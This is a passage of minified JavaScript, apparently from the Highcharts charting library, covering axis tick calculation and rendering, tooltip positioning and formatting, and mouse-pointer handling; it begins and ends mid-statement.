c=i?1:j?p(a.options.pointRange,e,0):b.axisPointRange||0,a=a.options.pointPlacement;d=s(d,c);b.single||(f=s(f,ya(a)?0:c/2),g=s(g,a===\"on\"?0:c))})),h=b.ordinalSlope&&e?b.ordinalSlope/e:1,b.minPointOffset=f*=h,b.pointRangePadding=g*=h,b.pointRange=E(d,c),j)b.closestPointRange=e;if(a)b.oldTransA=k;b.translationSlope=b.transA=k=b.len/(c+g||1);b.transB=b.horiz?b.left:b.bottom;b.minPixelPadding=k*f},minFromRange:function(){return this.max-this.range},setTickInterval:function(a){var b=\nthis,c=b.chart,d=b.options,e=b.isLog,f=b.isDatetimeAxis,g=b.isXAxis,h=b.isLinked,i=d.maxPadding,k=d.minPadding,j=d.tickInterval,m=d.tickPixelInterval,l=b.categories,n=b.threshold,t=b.softThreshold,r,X,y,x;!f&&!l&&!h&&this.getTickAmount();y=p(b.userMin,d.min);x=p(b.userMax,d.max);h?(b.linkedParent=c[b.coll][d.linkedTo],c=b.linkedParent.getExtremes(),b.min=p(c.min,c.dataMin),b.max=p(c.max,c.dataMax),d.type!==b.linkedParent.options.type&&Y(11,1)):(!t&&q(n)&&(b.dataMin>=n?(r=n,k=0):b.dataMax<=n&&(X=n,\ni=0)),b.min=p(y,r,b.dataMin),b.max=p(x,X,b.dataMax));if(e)!a&&E(b.min,p(b.dataMin,b.min))<=0&&Y(10,1),b.min=fa(Ca(b.min),15),b.max=fa(Ca(b.max),15);if(b.range&&q(b.max))b.userMin=b.min=y=s(b.min,b.minFromRange()),b.userMax=x=b.max,b.range=null;b.beforePadding&&b.beforePadding();b.adjustForMinRange();if(!l&&!b.axisPointRange&&!b.usePercentage&&!h&&q(b.min)&&q(b.max)&&(c=b.max-b.min))!q(y)&&k&&(b.min-=c*k),!q(x)&&i&&(b.max+=c*i);if(ka(d.floor))b.min=s(b.min,d.floor);if(ka(d.ceiling))b.max=E(b.max,d.ceiling);\nif(t&&q(b.dataMin))if(n=n||0,!q(y)&&b.min<n&&b.dataMin>=n)b.min=n;else if(!q(x)&&b.max>n&&b.dataMax<=n)b.max=n;b.tickInterval=b.min===b.max||b.min===void 0||b.max===void 0?1:h&&!j&&m===b.linkedParent.options.tickPixelInterval?j=b.linkedParent.tickInterval:p(j,this.tickAmount?(b.max-b.min)/s(this.tickAmount-1,1):void 0,l?1:(b.max-b.min)*m/s(b.len,m));g&&!a&&o(b.series,function(a){a.processData(b.min!==b.oldMin||b.max!==b.oldMax)});b.setAxisTranslation(!0);b.beforeSetTickPositions&&b.beforeSetTickPositions();\nif(b.postProcessTickInterval)b.tickInterval=b.postProcessTickInterval(b.tickInterval);if(b.pointRange&&!j)b.tickInterval=s(b.pointRange,b.tickInterval);a=p(d.minTickInterval,b.isDatetimeAxis&&b.closestPointRange);if(!j&&b.tickInterval<a)b.tickInterval=a;if(!f&&!e&&!j)b.tickInterval=tb(b.tickInterval,null,sb(b.tickInterval),p(d.allowDecimals,!(b.tickInterval>0.5&&b.tickInterval<5&&b.max>1E3&&b.max<9999)),!!this.tickAmount);if(!this.tickAmount&&this.len)b.tickInterval=b.unsquish();this.setTickPositions()},\nsetTickPositions:function(){var a=this.options,b,c=a.tickPositions,d=a.tickPositioner,e=a.startOnTick,f=a.endOnTick,g;this.tickmarkOffset=this.categories&&a.tickmarkPlacement===\"between\"&&this.tickInterval===1?0.5:0;this.minorTickInterval=a.minorTickInterval===\"auto\"&&this.tickInterval?this.tickInterval/5:a.minorTickInterval;this.tickPositions=b=c&&c.slice();if(!b&&(b=this.isDatetimeAxis?this.getTimeTicks(this.normalizeTimeTickInterval(this.tickInterval,a.units),this.min,this.max,a.startOfWeek,this.ordinalPositions,\nthis.closestPointRange,!0):this.isLog?this.getLogTickPositions(this.tickInterval,this.min,this.max):this.getLinearTickPositions(this.tickInterval,this.min,this.max),b.length>this.len&&(b=[b[0],b.pop()]),this.tickPositions=b,d&&(d=d.apply(this,[this.min,this.max]))))this.tickPositions=b=d;if(!this.isLinked)this.trimTicks(b,e,f),this.min===this.max&&q(this.min)&&!this.tickAmount&&(g=!0,this.min-=0.5,this.max+=0.5),this.single=g,!c&&!d&&this.adjustTickAmount()},trimTicks:function(a,b,c){var d=a[0],e=\na[a.length-1],f=this.minPointOffset||0;b?this.min=d:this.min-f>d&&a.shift();c?this.max=e:this.max+f<e&&a.pop();a.length===0&&q(d)&&a.push((e+d)/2)},alignToOthers:function(){var a={},b,c=this.options;this.chart.options.chart.alignTicks!==!1&&c.alignTicks!==!1&&o(this.chart[this.coll],function(c){var e=c.options,e=[c.horiz?e.left:e.top,e.width,e.height,e.pane].join(\",\");c.series.length&&(a[e]?b=!0:a[e]=1)});return b},getTickAmount:function(){var a=this.options,b=a.tickAmount,c=a.tickPixelInterval;!q(a.tickInterval)&&\nthis.len<c&&!this.isRadial&&!this.isLog&&a.startOnTick&&a.endOnTick&&(b=2);!b&&this.alignToOthers()&&(b=ua(this.len/c)+1);if(b<4)this.finalTickAmt=b,b=5;this.tickAmount=b},adjustTickAmount:function(){var a=this.tickInterval,b=this.tickPositions,c=this.tickAmount,d=this.finalTickAmt,e=b&&b.length;if(e<c){for(;b.length<c;)b.push(fa(b[b.length-1]+a));this.transA*=(e-1)/(c-1);this.max=b[b.length-1]}else e>c&&(this.tickInterval*=2,this.setTickPositions());if(q(d)){for(a=c=b.length;a--;)(d===3&&a%2===1||\nd<=2&&a>0&&a<c-1)&&b.splice(a,1);this.finalTickAmt=B}},setScale:function(){var a,b;this.oldMin=this.min;this.oldMax=this.max;this.oldAxisLength=this.len;this.setAxisSize();b=this.len!==this.oldAxisLength;o(this.series,function(b){if(b.isDirtyData||b.isDirty||b.xAxis.isDirty)a=!0});if(b||a||this.isLinked||this.forceRedraw||this.userMin!==this.oldUserMin||this.userMax!==this.oldUserMax||this.alignToOthers()){if(this.resetStacks&&this.resetStacks(),this.forceRedraw=!1,this.getSeriesExtremes(),this.setTickInterval(),\nthis.oldUserMin=this.userMin,this.oldUserMax=this.userMax,!this.isDirty)this.isDirty=b||this.min!==this.oldMin||this.max!==this.oldMax}else this.cleanStacks&&this.cleanStacks()},setExtremes:function(a,b,c,d,e){var f=this,g=f.chart,c=p(c,!0);o(f.series,function(a){delete a.kdTree});e=v(e,{min:a,max:b});H(f,\"setExtremes\",e,function(){f.userMin=a;f.userMax=b;f.eventArgs=e;c&&g.redraw(d)})},zoom:function(a,b){var c=this.dataMin,d=this.dataMax,e=this.options,f=E(c,p(e.min,c)),e=s(d,p(e.max,d));this.allowZoomOutside||\n(q(c)&&a<=f&&(a=f),q(d)&&b>=e&&(b=e));this.displayBtn=a!==B||b!==B;this.setExtremes(a,b,!1,B,{trigger:\"zoom\"});return!0},setAxisSize:function(){var a=this.chart,b=this.options,c=b.offsetLeft||0,d=this.horiz,e=p(b.width,a.plotWidth-c+(b.offsetRight||0)),f=p(b.height,a.plotHeight),g=p(b.top,a.plotTop),b=p(b.left,a.plotLeft+c),c=/%$/;c.test(f)&&(f=parseFloat(f)/100*a.plotHeight);c.test(g)&&(g=parseFloat(g)/100*a.plotHeight+a.plotTop);this.left=b;this.top=g;this.width=e;this.height=f;this.bottom=a.chartHeight-\nf-g;this.right=a.chartWidth-e-b;this.len=s(d?e:f,0);this.pos=d?b:g},getExtremes:function(){var a=this.isLog;return{min:a?fa(la(this.min)):this.min,max:a?fa(la(this.max)):this.max,dataMin:this.dataMin,dataMax:this.dataMax,userMin:this.userMin,userMax:this.userMax}},getThreshold:function(a){var b=this.isLog,c=b?la(this.min):this.min,b=b?la(this.max):this.max;a===null?a=b<0?b:c:c>a?a=c:b<a&&(a=b);return this.translate(a,0,1,0,1)},autoLabelAlign:function(a){a=(p(a,0)-this.side*90+720)%360;return a>15&&\na<165?\"right\":a>195&&a<345?\"left\":\"center\"},unsquish:function(){var a=this.ticks,b=this.options.labels,c=this.horiz,d=this.tickInterval,e=d,f=this.len/(((this.categories?1:0)+this.max-this.min)/d),g,h=b.rotation,i=this.chart.renderer.fontMetrics(b.style.fontSize,a[0]&&a[0].label),k,j=Number.MAX_VALUE,m,l=function(a){a/=f||1;a=a>1?ua(a):1;return a*d};c?(m=!b.staggerLines&&!b.step&&(q(h)?[h]:f<p(b.autoRotationLimit,80)&&b.autoRotation))&&o(m,function(a){var b;if(a===h||a&&a>=-90&&a<=90)k=l(P(i.h/aa(ga*\na))),b=k+P(a/360),b<j&&(j=b,g=a,e=k)}):b.step||(e=l(i.h));this.autoRotation=m;this.labelRotation=p(g,h);return e},renderUnsquish:function(){var a=this.chart,b=a.renderer,c=this.tickPositions,d=this.ticks,e=this.options.labels,f=this.horiz,g=a.margin,h=this.categories?c.length:c.length-1,g=this.slotWidth=f&&(e.step||0)<2&&!e.rotation&&(this.staggerLines||1)*a.plotWidth/h||!f&&(g[3]&&g[3]-a.spacing[3]||a.chartWidth*0.33),i=s(1,A(g-2*(e.padding||5))),k={},h=b.fontMetrics(e.style.fontSize,d[0]&&d[0].label),\nj=e.style.textOverflow,m,l=0,n,t;if(!ya(e.rotation))k.rotation=e.rotation||0;if(this.autoRotation)o(c,function(a){if((a=d[a])&&a.labelLength>l)l=a.labelLength}),l>i&&l>h.h?k.rotation=this.labelRotation:this.labelRotation=0;else if(g&&(m={width:i+\"px\"},!j)){m.textOverflow=\"clip\";for(n=c.length;!f&&n--;)if(t=c[n],i=d[t].label)if(i.styles.textOverflow===\"ellipsis\"&&i.css({textOverflow:\"clip\"}),i.getBBox().height>this.len/c.length-(h.h-h.f)||d[t].labelLength>g)i.specCss={textOverflow:\"ellipsis\"}}if(k.rotation&&\n(m={width:(l>a.chartHeight*0.5?a.chartHeight*0.33:a.chartHeight)+\"px\"},!j))m.textOverflow=\"ellipsis\";this.labelAlign=k.align=e.align||this.autoLabelAlign(this.labelRotation);o(c,function(a){var b=(a=d[a])&&a.label;if(b)b.attr(k),m&&b.css(D(m,b.specCss)),delete b.specCss,a.rotation=k.rotation});this.tickRotCorr=b.rotCorr(h.b,this.labelRotation||0,this.side!==0)},hasData:function(){return this.hasVisibleSeries||q(this.min)&&q(this.max)&&!!this.tickPositions},getOffset:function(){var a=this,b=a.chart,\nc=b.renderer,d=a.options,e=a.tickPositions,f=a.ticks,g=a.horiz,h=a.side,i=b.inverted?[1,0,3,2][h]:h,k,j,m=0,l,n=0,t=d.title,r=d.labels,X=0,y=a.opposite,x=b.axisOffset,b=b.clipOffset,w=[-1,1,1,-1][h],v,ca=a.axisParent;k=a.hasData();a.showAxis=j=k||p(d.showEmpty,!0);a.staggerLines=a.horiz&&r.staggerLines;if(!a.axisGroup)a.gridGroup=c.g(\"grid\").attr({zIndex:d.gridZIndex||1}).add(ca),a.axisGroup=c.g(\"axis\").attr({zIndex:d.zIndex||2}).add(ca),a.labelGroup=c.g(\"axis-labels\").attr({zIndex:r.zIndex||7}).addClass(\"highcharts-\"+\na.coll.toLowerCase()+\"-labels\").add(ca);if(k||a.isLinked){if(o(e,function(b){f[b]?f[b].addLabel():f[b]=new Wa(a,b)}),a.renderUnsquish(),r.reserveSpace!==!1&&(h===0||h===2||{1:\"left\",3:\"right\"}[h]===a.labelAlign||a.labelAlign===\"center\")&&o(e,function(a){X=s(f[a].getLabelSize(),X)}),a.staggerLines)X*=a.staggerLines,a.labelOffset=X*(a.opposite?-1:1)}else for(v in f)f[v].destroy(),delete f[v];if(t&&t.text&&t.enabled!==!1){if(!a.axisTitle)a.axisTitle=c.text(t.text,0,0,t.useHTML).attr({zIndex:7,rotation:t.rotation||\n0,align:t.textAlign||{low:y?\"right\":\"left\",middle:\"center\",high:y?\"left\":\"right\"}[t.align]}).addClass(\"highcharts-\"+this.coll.toLowerCase()+\"-title\").css(t.style).add(a.axisGroup),a.axisTitle.isNew=!0;if(j)m=a.axisTitle.getBBox()[g?\"height\":\"width\"],l=t.offset,n=q(l)?0:p(t.margin,g?5:10);a.axisTitle[j?\"show\":\"hide\"](!0)}a.offset=w*p(d.offset,x[h]);a.tickRotCorr=a.tickRotCorr||{x:0,y:0};c=h===2?a.tickRotCorr.y:0;g=Math.abs(X)+n+(X&&w*(g?p(r.y,a.tickRotCorr.y+8):r.x)-c);a.axisTitleMargin=p(l,g);x[h]=\ns(x[h],a.axisTitleMargin+m+w*a.offset,g);d=d.offset?0:S(d.lineWidth/2)*2;b[i]=s(b[i],d)},getLinePath:function(a){var b=this.chart,c=this.opposite,d=this.offset,e=this.horiz,f=this.left+(c?this.width:0)+d,d=b.chartHeight-this.bottom-(c?this.height:0)+d;c&&(a*=-1);return b.renderer.crispLine([\"M\",e?this.left:f,e?d:this.top,\"L\",e?b.chartWidth-this.right:f,e?d:b.chartHeight-this.bottom],a)},getTitlePosition:function(){var a=this.horiz,b=this.left,c=this.top,d=this.len,e=this.options.title,f=a?b:c,g=this.opposite,\nh=this.offset,i=e.x||0,k=e.y||0,j=F(e.style.fontSize||12),d={low:f+(a?0:d),middle:f+d/2,high:f+(a?d:0)}[e.align],b=(a?c+this.height:b)+(a?1:-1)*(g?-1:1)*this.axisTitleMargin+(this.side===2?j:0);return{x:a?d+i:b+(g?this.width:0)+h+i,y:a?b+k-(g?this.height:0)+h:d+k}},render:function(){var a=this,b=a.chart,c=b.renderer,d=a.options,e=a.isLog,f=a.isLinked,g=a.tickPositions,h=a.axisTitle,i=a.ticks,k=a.minorTicks,j=a.alternateBands,m=d.stackLabels,l=d.alternateGridColor,n=a.tickmarkOffset,t=d.lineWidth,\nr,p=b.hasRendered&&q(a.oldMin)&&!isNaN(a.oldMin),y=a.showAxis,x=c.globalAnimation,w,s;a.labelEdge.length=0;a.overlap=!1;o([i,k,j],function(a){for(var b in a)a[b].isActive=!1});if(a.hasData()||f){a.minorTickInterval&&!a.categories&&o(a.getMinorTickPositions(),function(b){k[b]||(k[b]=new Wa(a,b,\"minor\"));p&&k[b].isNew&&k[b].render(null,!0);k[b].render(null,!1,1)});if(g.length&&(o(g,function(b,c){if(!f||b>=a.min&&b<=a.max)i[b]||(i[b]=new Wa(a,b)),p&&i[b].isNew&&i[b].render(c,!0,0.1),i[b].render(c)}),\nn&&(a.min===0||a.single)))i[-1]||(i[-1]=new Wa(a,-1,null,!0)),i[-1].render(-1);l&&o(g,function(c,d){s=g[d+1]!==B?g[d+1]+n:a.max-n;if(d%2===0&&c<a.max&&s<=a.max+(b.polar?-n:n))j[c]||(j[c]=new u.PlotLineOrBand(a)),w=c+n,j[c].options={from:e?la(w):w,to:e?la(s):s,color:l},j[c].render(),j[c].isActive=!0});if(!a._addedPlotLB)o((d.plotLines||[]).concat(d.plotBands||[]),function(b){a.addPlotBandOrLine(b)}),a._addedPlotLB=!0}o([i,k,j],function(a){var c,d,e=[],f=x?x.duration||500:0;for(c in a)if(!a[c].isActive)a[c].render(c,\n!1,0),a[c].isActive=!1,e.push(c);Qa(function(){for(d=e.length;d--;)a[e[d]]&&!a[e[d]].isActive&&(a[e[d]].destroy(),delete a[e[d]])},a===j||!b.hasRendered||!f?0:f)});if(t)r=a.getLinePath(t),a.axisLine?a.axisLine.animate({d:r}):a.axisLine=c.path(r).attr({stroke:d.lineColor,\"stroke-width\":t,zIndex:7}).add(a.axisGroup),a.axisLine[y?\"show\":\"hide\"](!0);if(h&&y)h[h.isNew?\"attr\":\"animate\"](a.getTitlePosition()),h.isNew=!1;m&&m.enabled&&a.renderStackTotals();a.isDirty=!1},redraw:function(){this.visible&&(this.render(),\no(this.plotLinesAndBands,function(a){a.render()}));o(this.series,function(a){a.isDirty=!0})},destroy:function(a){var b=this,c=b.stacks,d,e=b.plotLinesAndBands;a||U(b);for(d in c)Ta(c[d]),c[d]=null;o([b.ticks,b.minorTicks,b.alternateBands],function(a){Ta(a)});for(a=e.length;a--;)e[a].destroy();o(\"stackTotalGroup,axisLine,axisTitle,axisGroup,cross,gridGroup,labelGroup\".split(\",\"),function(a){b[a]&&(b[a]=b[a].destroy())});this.cross&&this.cross.destroy()},drawCrosshair:function(a,b){var c,d=this.crosshair,\ne,f;if(!this.crosshair||(q(b)||!p(d.snap,!0))===!1||b&&b.series&&b.series[this.coll]!==this)this.hideCrosshair();else if(p(d.snap,!0)?q(b)&&(c=this.isXAxis?b.plotX:this.len-b.plotY):c=this.horiz?a.chartX-this.pos:this.len-a.chartY+this.pos,c=this.isRadial?this.getPlotLinePath(this.isXAxis?b.x:p(b.stackY,b.y))||null:this.getPlotLinePath(null,null,null,null,c)||null,c===null)this.hideCrosshair();else if(e=this.categories&&!this.isRadial,f=p(d.width,e?this.transA:1),this.cross)this.cross.attr({d:c,visibility:\"visible\",\n\"stroke-width\":f});else{e={\"stroke-width\":f,stroke:d.color||(e?\"rgba(155,200,255,0.2)\":\"#C0C0C0\"),zIndex:p(d.zIndex,2)};if(d.dashStyle)e.dashstyle=d.dashStyle;this.cross=this.chart.renderer.path(c).attr(e).add()}},hideCrosshair:function(){this.cross&&this.cross.hide()}};v(ja.prototype,{getPlotBandPath:function(a,b){var c=this.getPlotLinePath(b,null,null,!0),d=this.getPlotLinePath(a,null,null,!0);d&&c?(d.flat=d.toString()===c.toString(),d.push(c[4],c[5],c[1],c[2])):d=null;return d},addPlotBand:function(a){return this.addPlotBandOrLine(a,\n\"plotBands\")},addPlotLine:function(a){return this.addPlotBandOrLine(a,\"plotLines\")},addPlotBandOrLine:function(a,b){var c=(new u.PlotLineOrBand(this,a)).render(),d=this.userOptions;c&&(b&&(d[b]=d[b]||[],d[b].push(a)),this.plotLinesAndBands.push(c));return c},removePlotBandOrLine:function(a){for(var b=this.plotLinesAndBands,c=this.options,d=this.userOptions,e=b.length;e--;)b[e].id===a&&b[e].destroy();o([c.plotLines||[],d.plotLines||[],c.plotBands||[],d.plotBands||[]],function(b){for(e=b.length;e--;)b[e].id===\na&&ma(b,b[e])})}});ja.prototype.getTimeTicks=function(a,b,c,d){var e=[],f={},g=O.global.useUTC,h,i=new oa(b-Za(b)),k=a.unitRange,j=a.count;if(q(b)){i[Gb](k>=G.second?0:j*S(i.getMilliseconds()/j));if(k>=G.second)i[Hb](k>=G.minute?0:j*S(i.getSeconds()/j));if(k>=G.minute)i[Ib](k>=G.hour?0:j*S(i[ub]()/j));if(k>=G.hour)i[Jb](k>=G.day?0:j*S(i[vb]()/j));if(k>=G.day)i[xb](k>=G.month?1:j*S(i[$a]()/j));k>=G.month&&(i[yb](k>=G.year?0:j*S(i[ab]()/j)),h=i[bb]());k>=G.year&&(h-=h%j,i[zb](h));if(k===G.week)i[xb](i[$a]()-\ni[wb]()+p(d,1));b=1;if(rb||ib)i=i.getTime(),i=new oa(i+Za(i));h=i[bb]();for(var d=i.getTime(),m=i[ab](),l=i[$a](),n=(G.day+(g?Za(i):i.getTimezoneOffset()*6E4))%G.day;d<c;)e.push(d),k===G.year?d=lb(h+b*j,0):k===G.month?d=lb(h,m+b*j):!g&&(k===G.day||k===G.week)?d=lb(h,m,l+b*j*(k===G.day?1:7)):d+=k*j,b++;e.push(d);o(Oa(e,function(a){return k<=G.hour&&a%G.day===n}),function(a){f[a]=\"day\"})}e.info=v(a,{higherRanks:f,totalRange:k*j});return e};ja.prototype.normalizeTimeTickInterval=function(a,b){var c=\nb||[[\"millisecond\",[1,2,5,10,20,25,50,100,200,500]],[\"second\",[1,2,5,10,15,30]],[\"minute\",[1,2,5,10,15,30]],[\"hour\",[1,2,3,4,6,8,12]],[\"day\",[1,2]],[\"week\",[1,2]],[\"month\",[1,2,3,4,6]],[\"year\",null]],d=c[c.length-1],e=G[d[0]],f=d[1],g;for(g=0;g<c.length;g++)if(d=c[g],e=G[d[0]],f=d[1],c[g+1]&&a<=(e*f[f.length-1]+G[c[g+1][0]])/2)break;e===G.year&&a<5*e&&(f=[1,2,5]);c=tb(a/e,f,d[0]===\"year\"?s(sb(a/e),1):1);return{unitRange:e,count:c,unitName:d[0]}};ja.prototype.getLogTickPositions=function(a,b,c,d){var e=\nthis.options,f=this.len,g=[];if(!d)this._minorAutoInterval=null;if(a>=0.5)a=A(a),g=this.getLinearTickPositions(a,b,c);else if(a>=0.08)for(var f=S(b),h,i,k,j,m,e=a>0.3?[1,2,4]:a>0.15?[1,2,4,6,8]:[1,2,3,4,5,6,7,8,9];f<c+1&&!m;f++){i=e.length;for(h=0;h<i&&!m;h++)k=Ca(la(f)*e[h]),k>b&&(!d||j<=c)&&j!==B&&g.push(j),j>c&&(m=!0),j=k}else if(b=la(b),c=la(c),a=e[d?\"minorTickInterval\":\"tickInterval\"],a=p(a===\"auto\"?null:a,this._minorAutoInterval,(c-b)*(e.tickPixelInterval/(d?5:1))/((d?f/this.tickPositions.length:\nf)||1)),a=tb(a,null,sb(a)),g=Ha(this.getLinearTickPositions(a,b,c),Ca),!d)this._minorAutoInterval=a/5;if(!d)this.tickInterval=a;return g};var Pb=u.Tooltip=function(){this.init.apply(this,arguments)};Pb.prototype={init:function(a,b){var c=b.borderWidth,d=b.style,e=F(d.padding);this.chart=a;this.options=b;this.crosshairs=[];this.now={x:0,y:0};this.isHidden=!0;this.label=a.renderer.label(\"\",0,0,b.shape||\"callout\",null,null,b.useHTML,null,\"tooltip\").attr({padding:e,fill:b.backgroundColor,\"stroke-width\":c,\nr:b.borderRadius,zIndex:8}).css(d).css({padding:0}).add().attr({y:-9999});ha||this.label.shadow(b.shadow);this.shared=b.shared},destroy:function(){if(this.label)this.label=this.label.destroy();clearTimeout(this.hideTimer);clearTimeout(this.tooltipTimeout)},move:function(a,b,c,d){var e=this,f=e.now,g=e.options.animation!==!1&&!e.isHidden&&(P(a-f.x)>1||P(b-f.y)>1),h=e.followPointer||e.len>1;v(f,{x:g?(2*f.x+a)/3:a,y:g?(f.y+b)/2:b,anchorX:h?B:g?(2*f.anchorX+c)/3:c,anchorY:h?B:g?(f.anchorY+d)/2:d});e.label.attr(f);\nif(g)clearTimeout(this.tooltipTimeout),this.tooltipTimeout=setTimeout(function(){e&&e.move(a,b,c,d)},32)},hide:function(a){var b=this;clearTimeout(this.hideTimer);a=p(a,this.options.hideDelay,500);if(!this.isHidden)this.hideTimer=Qa(function(){b.label[a?\"fadeOut\":\"hide\"]();b.isHidden=!0},a)},getAnchor:function(a,b){var c,d=this.chart,e=d.inverted,f=d.plotTop,g=d.plotLeft,h=0,i=0,k,j,a=ta(a);c=a[0].tooltipPos;this.followPointer&&b&&(b.chartX===B&&(b=d.pointer.normalize(b)),c=[b.chartX-d.plotLeft,b.chartY-\nf]);c||(o(a,function(a){k=a.series.yAxis;j=a.series.xAxis;h+=a.plotX+(!e&&j?j.left-g:0);i+=(a.plotLow?(a.plotLow+a.plotHigh)/2:a.plotY)+(!e&&k?k.top-f:0)}),h/=a.length,i/=a.length,c=[e?d.plotWidth-i:h,this.shared&&!e&&a.length>1&&b?b.chartY-f:e?d.plotHeight-h:i]);return Ha(c,A)},getPosition:function(a,b,c){var d=this.chart,e=this.distance,f={},g=c.h||0,h,i=[\"y\",d.chartHeight,b,c.plotY+d.plotTop,d.plotTop,d.plotTop+d.plotHeight],k=[\"x\",d.chartWidth,a,c.plotX+d.plotLeft,d.plotLeft,d.plotLeft+d.plotWidth],\nj=p(c.ttBelow,d.inverted&&!c.negative||!d.inverted&&c.negative),m=function(a,b,c,d,h,i){var k=c<d-e,l=d+e+c<b,m=d-e-c;d+=e;if(j&&l)f[a]=d;else if(!j&&k)f[a]=m;else if(k)f[a]=E(i-c,m-g<0?m:m-g);else if(l)f[a]=s(h,d+g+c>b?d:d+g);else return!1},l=function(a,b,c,d){var g;d<e||d>b-e?g=!1:f[a]=d<c/2?1:d>b-c/2?b-c-2:d-c/2;return g},n=function(a){var b=i;i=k;k=b;h=a},t=function(){m.apply(0,i)!==!1?l.apply(0,k)===!1&&!h&&(n(!0),t()):h?f.x=f.y=0:(n(!0),t())};(d.inverted||this.len>1)&&n();t();return f},defaultFormatter:function(a){var b=\nthis.points||ta(this),c;c=[a.tooltipFooterHeaderFormatter(b[0])];c=c.concat(a.bodyFormatter(b));c.push(a.tooltipFooterHeaderFormatter(b[0],!0));return c.join(\"\")},refresh:function(a,b){var c=this.chart,d=this.label,e=this.options,f,g,h,i={},k,j=[];k=e.formatter||this.defaultFormatter;var i=c.hoverPoints,m,l=this.shared;clearTimeout(this.hideTimer);this.followPointer=ta(a)[0].series.tooltipOptions.followPointer;h=this.getAnchor(a,b);f=h[0];g=h[1];l&&(!a.series||!a.series.noSharedTooltip)?(c.hoverPoints=\na,i&&o(i,function(a){a.setState()}),o(a,function(a){a.setState(\"hover\");j.push(a.getLabelConfig())}),i={x:a[0].category,y:a[0].y},i.points=j,this.len=j.length,a=a[0]):i=a.getLabelConfig();k=k.call(i,this);i=a.series;this.distance=p(i.tooltipOptions.distance,16);k===!1?this.hide():(this.isHidden&&(Pa(d),d.attr(\"opacity\",1).show()),d.attr({text:k}),m=e.borderColor||a.color||i.color||\"#606060\",d.attr({stroke:m}),this.updatePosition({plotX:f,plotY:g,negative:a.negative,ttBelow:a.ttBelow,h:h[2]||0}),this.isHidden=\n!1);H(c,\"tooltipRefresh\",{text:k,x:f+c.plotLeft,y:g+c.plotTop,borderColor:m})},updatePosition:function(a){var b=this.chart,c=this.label,c=(this.options.positioner||this.getPosition).call(this,c.width,c.height,a);this.move(A(c.x),A(c.y||0),a.plotX+b.plotLeft,a.plotY+b.plotTop)},getXDateFormat:function(a,b,c){var d,b=b.dateTimeLabelFormats,e=c&&c.closestPointRange,f,g={millisecond:15,second:12,minute:9,hour:6,day:3},h,i=\"millisecond\";if(e){h=Ra(\"%m-%d %H:%M:%S.%L\",a.x);for(f in G){if(e===G.week&&+Ra(\"%w\",\na.x)===c.options.startOfWeek&&h.substr(6)===\"00:00:00.000\"){f=\"week\";break}if(G[f]>e){f=i;break}if(g[f]&&h.substr(g[f])!==\"01-01 00:00:00.000\".substr(g[f]))break;f!==\"week\"&&(i=f)}f&&(d=b[f])}else d=b.day;return d||b.year},tooltipFooterHeaderFormatter:function(a,b){var c=b?\"footer\":\"header\",d=a.series,e=d.tooltipOptions,f=e.xDateFormat,g=d.xAxis,h=g&&g.options.type===\"datetime\"&&ka(a.key),c=e[c+\"Format\"];h&&!f&&(f=this.getXDateFormat(a,e,g));h&&f&&(c=c.replace(\"{point.key}\",\"{point.key:\"+f+\"}\"));\nreturn La(c,{point:a,series:d})},bodyFormatter:function(a){return Ha(a,function(a){var c=a.series.tooltipOptions;return(c.pointFormatter||a.point.tooltipFormatter).call(a.point,c.pointFormat)})}};var ra;db=z&&z.documentElement.ontouchstart!==B;var Ya=u.Pointer=function(a,b){this.init(a,b)};Ya.prototype={init:function(a,b){var c=b.chart,d=c.events,e=ha?\"\":c.zoomType,c=a.inverted,f;this.options=b;this.chart=a;this.zoomX=f=/x/.test(e);this.zoomY=e=/y/.test(e);this.zoomHor=f&&!c||e&&c;this.zoomVert=e&&\n!c||f&&c;this.hasZoom=f||e;this.runChartClick=d&&!!d.click;this.pinchDown=[];this.lastValidTouch={};if(u.Tooltip&&b.tooltip.enabled)a.tooltip=new Pb(a,b.tooltip),this.followTouchMove=p(b.tooltip.followTouchMove,!0);this.setDOMEvents()},normalize:function(a,b){var c,d,a=a||C.event;if(!a.target)a.target=a.srcElement;d=a.touches?a.touches.length?a.touches.item(0):a.changedTouches[0]:a;if(!b)this.chartPosition=b=Bb(this.chart.container);d.pageX===B?(c=s(a.x,a.clientX-b.left),d=a.y):(c=d.pageX-b.left,\nd=d.pageY-b.top);return v(a,{chartX:A(c),chartY:A(d)})},getCoordinates:function(a){var b={xAxis:[],yAxis:[]};o(this.chart.axes,function(c){b[c.isXAxis?\"xAxis\":\"yAxis\"].push({axis:c,value:c.toValue(a[c.horiz?\"chartX\":\"chartY\"])})});return b},runPointActions:function(a){var b=this.chart,c=b.series,d=b.tooltip,e=d?d.shared:!1,f=b.hoverPoint,g=b.hoverSeries,h,i=Number.MAX_VALUE,k,j,m,l=[],n,t;if(!e&&!g)for(h=0;h<c.length;h++)if(c[h].directTouch||!c[h].options.stickyTracking)c=[];g&&(e?g.noSharedTooltip:\ng.directTouch)&&f?n=f:(o(c,function(b){k=b.noSharedTooltip&&e;j=!e&&b.directTouch;b.visible&&!k&&!j&&p(b.options.enableMouseTracking,!0)&&(t=b.searchPoint(a,!k&&b.kdDimensions===1))&&l.push(t)}),o(l,function(a){m=!e&&a.series.kdDimensions===1?a.dist:a.distX;a&&typeof m===\"number\"&&m<i&&(i=m,n=a)}));if(n&&(n!==this.prevKDPoint||d&&d.isHidden)){if(e&&!n.series.noSharedTooltip){for(h=l.length;h--;)(l[h].clientX!==n.clientX||l[h].series.noSharedTooltip)&&l.splice(h,1);l.length&&d&&d.refresh(l,a);o(l,\nfunction(b){b.onMouseOver(a,b!==(g&&g.directTouch&&f||n))})}else if(d&&d.refresh(n,a),!g||!g.directTouch)n.onMouseOver(a);this.prevKDPoint=n}else c=g&&g.tooltipOptions.followPointer,d&&c&&!d.isHidden&&(c=d.getAnchor([{}],a),d.updatePosition({plotX:c[0],plotY:c[1]}));if(!this._onDocumentMouseMove)this._onDocumentMouseMove=function(a){if(W[ra])W[ra].pointer.onDocumentMouseMove(a)},N(z,\"mousemove\",this._onDocumentMouseMove);o(b.axes,function(b){b.drawCrosshair(a,p(n,f))})},reset:function(a,b){var c=\nthis.chart,d=c.hoverSeries,e=c.hoverPoint,f=c.hoverPoints,g=c.tooltip,h=g&&g.shared?f:e;(a=a&&g&&h)&&o(ta(h),function(b){b.plotX===void 